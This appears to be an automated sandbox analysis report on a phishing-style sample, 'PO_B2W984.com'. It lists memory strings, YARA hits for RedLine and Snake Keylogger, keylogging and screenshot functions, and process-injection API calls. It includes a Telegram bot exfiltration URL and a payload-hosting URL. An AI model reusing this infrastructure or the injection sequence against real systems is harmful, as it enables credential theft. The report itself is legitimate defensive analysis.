Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png4
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23006549497.00000000048E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html4
Source: powershell.exe, 00000007.00000002.23005690561.0000000003119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: PO_B2W984.com, 00000000.00000003.22961850687.0000000022891000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22981256081.000000002293B000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962642028.000000007E75A000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000002.23155674229.0000000020D19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pmail.com0
Source: PO_B2W984.com, 00000000.00000002.22965692413.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24170624386.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23004693323.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000007.00000002.23006549497.00000000048E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Microsofts.exe, 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Microsofts.exe.4.dr	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester4
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24180228176.0000000002D3C000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24180228176.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24180228176.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24191123588.0000000003C96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002D2E000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24180228176.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24191123588.0000000003C96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: PO_B2W984.com, 00000000.00000002.22965692413.000000000090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/
Source: PO_B2W984.com, 00000000.00000002.22975988044.0000000020D1D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/wps/200
Source: PO_B2W984.com, 00000000.00000002.22965692413.000000000095A000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22965692413.0000000000999000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/wps/200_Oupzhkprnvw
Source: PO_B2W984.com, 00000000.00000002.22965692413.000000000095A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/wps/200_OupzhkprnvwE
Source: powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: PO_B2W984.com, 00000000.00000002.22965692413.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24170624386.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23004693323.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Microsofts.exe.4.dr	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.129.153.238d
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/102.129.153.238l
Source: PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: Microsofts.exe, 00000006.00000002.24180228176.0000000002D3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: rpkhzpuO.pif, 00000013.00000003.23143070311.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wdcp.mit

Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown

HTTPS traffic detected: 41.185.8.252:443 -> 192.168.11.20:49747 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: Microsofts.exe.4.dr, UltraSpeed.cs

.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: Microsofts.exe.4.dr, UltraSpeed.cs

.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.1.rpkhzpuO.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.1.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.1.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 4.1.rpkhzpuO.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.1.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.1.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 15.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 19.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000013.00000002.23176421665.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000F.00000002.23100866629.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000F.00000001.23060773301.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000013.00000001.23140173632.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: Process Memory Space: Microsofts.exe PID: 4824, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth

Submitted file has a suspicious file extension

Source: PO_B2W984.com

Initial sample: file extension

.NET source code contains very large strings

Source: Trading_AIBot.exe.4.dr, cfRDgxIJtEfCD.cs	Long String: Length: 17605
Source: apihost.exe.5.dr, cfRDgxIJtEfCD.cs	Long String: Length: 17605
Source: 5.2.Trading_AIBot.exe.2d6fffc.0.raw.unpack, cfRDgxIJtEfCD.cs	Long String: Length: 17605
Source: 15.2.rpkhzpuO.pif.2db40808.5.raw.unpack, cfRDgxIJtEfCD.cs	Long String: Length: 17605
Source: 15.2.rpkhzpuO.pif.2db51c4c.7.raw.unpack, cfRDgxIJtEfCD.cs	Long String: Length: 17605
Source: 15.2.rpkhzpuO.pif.2db630a8.6.raw.unpack, cfRDgxIJtEfCD.cs	Long String: Length: 17605

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

File dump: apihost.exe.5.dr 665670656

Jump to dropped file

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PO_B2W984.com

Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE824C NtReadVirtualMemory,	0_2_02DE824C
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE84BC NtUnmapViewOfSection,	0_2_02DE84BC
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DEDAC4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_02DEDAC4
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DEDA3C RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02DEDA3C
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DEDBA8 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_02DEDBA8
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE8BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02DE8BA8
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE79AC NtAllocateVirtualMemory,	0_2_02DE79AC
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE7CF8 NtWriteVirtualMemory,	0_2_02DE7CF8
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE8BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02DE8BA6
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DED9E8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02DED9E8
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DE79AA NtAllocateVirtualMemory,	0_2_02DE79AA
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E2824C NtReadVirtualMemory,	12_2_02E2824C
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E284BC NtUnmapViewOfSection,	12_2_02E284BC
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E2DAC4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	12_2_02E2DAC4
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E2DA3C RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	12_2_02E2DA3C
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E28BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	12_2_02E28BA8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E2DBA8 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	12_2_02E2DBA8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E279AC NtAllocateVirtualMemory,	12_2_02E279AC
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E27CF8 NtWriteVirtualMemory,	12_2_02E27CF8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E28BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	12_2_02E28BA6
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E2D9E8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	12_2_02E2D9E8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E279AA NtAllocateVirtualMemory,	12_2_02E279AA
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E3824C NtReadVirtualMemory,	16_2_02E3824C
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E384BC NtUnmapViewOfSection,	16_2_02E384BC
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E3DAC4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	16_2_02E3DAC4
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E3DA3C RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	16_2_02E3DA3C
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E38BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	16_2_02E38BA8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E3DBA8 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	16_2_02E3DBA8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E379AC NtAllocateVirtualMemory,	16_2_02E379AC
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E37CF8 NtWriteVirtualMemory,	16_2_02E37CF8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E38BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	16_2_02E38BA6
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E3D9E8 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	16_2_02E3D9E8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E379AA NtAllocateVirtualMemory,	16_2_02E379AA

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DE85D4 CreateProcessAsUserW,

0_2_02DE85D4

Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: 0_2_02DD20C4	0_2_02DD20C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00408C60	4_1_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_0040DC11	4_1_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00407C3F	4_1_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00418CCC	4_1_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00406CA0	4_1_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_004028B0	4_1_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_0041A4BE	4_1_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00418244	4_1_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00401650	4_1_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00402F20	4_1_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_004193C4	4_1_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00418788	4_1_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00402F89	4_1_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_00402B90	4_1_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 4_1_004073A0	4_1_004073A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_00EAC130	6_2_00EAC130
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_00EA9480	6_2_00EA9480
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_00EAC121	6_2_00EAC121
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_00EA2DD1	6_2_00EA2DD1
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_00EA946F	6_2_00EA946F
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_0521A558	6_2_0521A558
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05218400	6_2_05218400
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052107C8	6_2_052107C8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052110A8	6_2_052110A8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05214210	6_2_05214210
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_0521C9E8	6_2_0521C9E8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05216457	6_2_05216457
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052176E8	6_2_052176E8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052176F8	6_2_052176F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_0521A100	6_2_0521A100
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052141FF	6_2_052141FF
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_0521001B	6_2_0521001B
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05210040	6_2_05210040
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_0521A0F4	6_2_0521A0F4
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052193E8	6_2_052193E8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052183F1	6_2_052183F1
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052193F8	6_2_052193F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052172A0	6_2_052172A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05217290	6_2_05217290
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05219CA8	6_2_05219CA8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05219C98	6_2_05219C98
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05218FA0	6_2_05218FA0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05217FA8	6_2_05217FA8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05218F90	6_2_05218F90
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05217F98	6_2_05217F98
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05216E38	6_2_05216E38
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05216E48	6_2_05216E48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_052109E8	6_2_052109E8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05219840	6_2_05219840
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05219850	6_2_05219850
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05218B38	6_2_05218B38
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05217B40	6_2_05217B40
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05218B48	6_2_05218B48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 6_2_05217B50	6_2_05217B50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_06CCAAA8	7_2_06CCAAA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_06CCE5D8	7_2_06CCE5D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_06CCAA99	7_2_06CCAA99
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 12_2_02E120C4	12_2_02E120C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00408C60	15_2_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_0040DC11	15_2_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00407C3F	15_2_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00418CCC	15_2_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00406CA0	15_2_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_004028B0	15_2_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_0041A4BE	15_2_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00418244	15_2_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00401650	15_2_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00402F20	15_2_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_004193C4	15_2_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00418788	15_2_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00402F89	15_2_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_00402B90	15_2_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_004073A0	15_2_004073A0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_2D4B1020	15_2_2D4B1020
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_2D4B1030	15_2_2D4B1030
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_306647A8	15_2_306647A8
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_2_306647B8	15_2_306647B8
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00408C60	15_1_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_0040DC11	15_1_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00407C3F	15_1_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00418CCC	15_1_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00406CA0	15_1_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_004028B0	15_1_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_0041A4BE	15_1_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00418244	15_1_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00401650	15_1_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00402F20	15_1_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_004193C4	15_1_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00418788	15_1_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00402F89	15_1_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_00402B90	15_1_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 15_1_004073A0	15_1_004073A0
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 16_2_02E220C4	16_2_02E220C4
